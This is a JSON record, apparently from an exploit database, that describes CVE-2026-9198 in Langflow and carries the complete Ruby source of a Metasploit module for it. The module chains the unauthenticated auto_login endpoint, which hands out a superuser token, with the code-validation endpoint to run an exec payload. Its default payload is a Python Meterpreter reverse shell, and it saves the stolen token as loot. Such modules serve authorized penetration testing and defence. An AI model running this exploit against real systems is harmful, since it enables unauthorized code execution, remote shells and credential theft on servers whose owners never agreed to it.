{"exploit":{"id":"MSF-multi--http--langflow_unauth_rce_cve_2026_9198","name":"Langflow AI auto_login RCE","description":"Langflow versions 1.10.0 and below are susceptible to unauthenticated remote code execution. By chaining /api/v1/auto_login with /api/v1/validate/code, a remote unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.","cves":["CVE-2026-9198"],"author":"Harish Kolla, Richard Howe","published":"2026-07-17","platform":"Python","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_9198.rb","path":"modules/exploits/multi/http/langflow_unauth_rce_cve_2026_9198.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"langflow_unauth_rce_cve_2026_9198.rb","vulnerabilities":[{"id":"CVE-2026-9198","state":"PUBLISHED","title":"Unauthenticated Remote Code Execution via Auto-Login Bypass and Code Validation","titleSource":"CVE Program","description":"IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to chain /api/v1/auto_login (mints SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve full RCE on default Langflow deployments","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-9198","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"ibm","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-9198"},"updatedAt":"2026-08-17T19:10:55.374Z","retrievedAt":"2026-11-25T16:13:40.566Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_9198.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_9198","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_9198/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_9198/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Langflow AI auto_login RCE',\n        'Description' => %q{\n          Langflow versions 1.10.0 and below are susceptible to\n          unauthenticated remote code execution. By chaining\n          /api/v1/auto_login with /api/v1/validate/code, a remote\n          unauthenticated attacker can send crafted HTTP requests to execute\n          arbitrary code.\n        },\n        'Author' => [\n          'Harish Kolla <Har1sh-k>', # Vulnerability discovery\n          'Richard Howe <rhowe425>' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2026-9198'],\n          ['URL', 'https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-9198'],\n          ['URL', 'https://www.ibm.com/support/pages/security-bulletin-unauthenticated-remote-code-execution-auto-login-bypass-and-code-validation']\n        ],\n        'Targets' => [\n          [\n            'Python payload',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'python/meterpreter/reverse_tcp'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'Payload' => {\n          'BadChars' => '\"'\n        },\n        'DisclosureDate' => '2026-07-17',\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(7860),\n        OptString.new(\n          'TARGETURI',\n          [true, 'Base path of the Langflow application', '/']\n        )\n      ]\n    )\n  end\n\n  def get_token\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, '/api/v1/auto_login'),\n        'ctype' => 'application/json'\n      }\n    )\n\n    return unless res && res.code == 200\n\n    json = res.get_json_document\n    return unless json.is_a?(Hash)\n\n    json['access_token']\n  end\n\n  def check\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'api/v1/version')\n      }\n    )\n\n    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200\n\n    doc = res.get_json_document\n    version_str = doc.is_a?(Hash) ? doc['version'] : nil\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str\n\n    package = doc.is_a?(Hash) ? doc['package'] : nil\n    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package\n    return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'\n\n    version = Rex::Version.new(version_str.to_s)\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version\n\n    # Vulnerable version of Langflow\n    return Exploit::CheckCode::Appears(\"Version #{version} detected, which appears vulnerable.\") if version < Rex::Version.new('1.10.1')\n\n    # Patched version of Langflow\n    Exploit::CheckCode::Safe(\"Version #{version} detected, which is not vulnerable.\")\n  end\n\n  def exploit\n    # Get SUPERUSER token\n    token = get_token\n\n    if token.to_s.empty?\n      fail_with(Failure::UnexpectedReply, 'Could not retrieve SUPERUSER API key from /api/v1/auto_login')\n    end\n\n    res = send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'),\n        'headers' => {\n          'Content-Type' => 'application/json',\n          'Authorization' => \"Bearer #{token}\"\n        },\n        'data' => {\n          'code' => \"@exec(\\\"#{payload.encode}\\\")\\ndef #{rand_text_alpha(6)}():\\n    pass\"\n        }.to_json\n      }\n    )\n    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200\n\n    loot_path = store_loot(\n      'langflow.token',\n      'text/plain',\n      rhost,\n      token,\n      'langflow_token.txt',\n      'Langflow SUPERUSER access token retrieved from first stage of exploit.'\n    )\n\n    print_good(\"Langflow SUPERUSER access token stored in #{loot_path}\")\n  end\nend\n","sha256":"b382c426b31b05a345fd826f681601e03b50ed0f57d002f9edc84a10c38e802d","bytes":4560,"fetchedAt":"2026-11-25T16:31:00.690Z","encoding":"utf-8 (display only; download retains original bytes)"}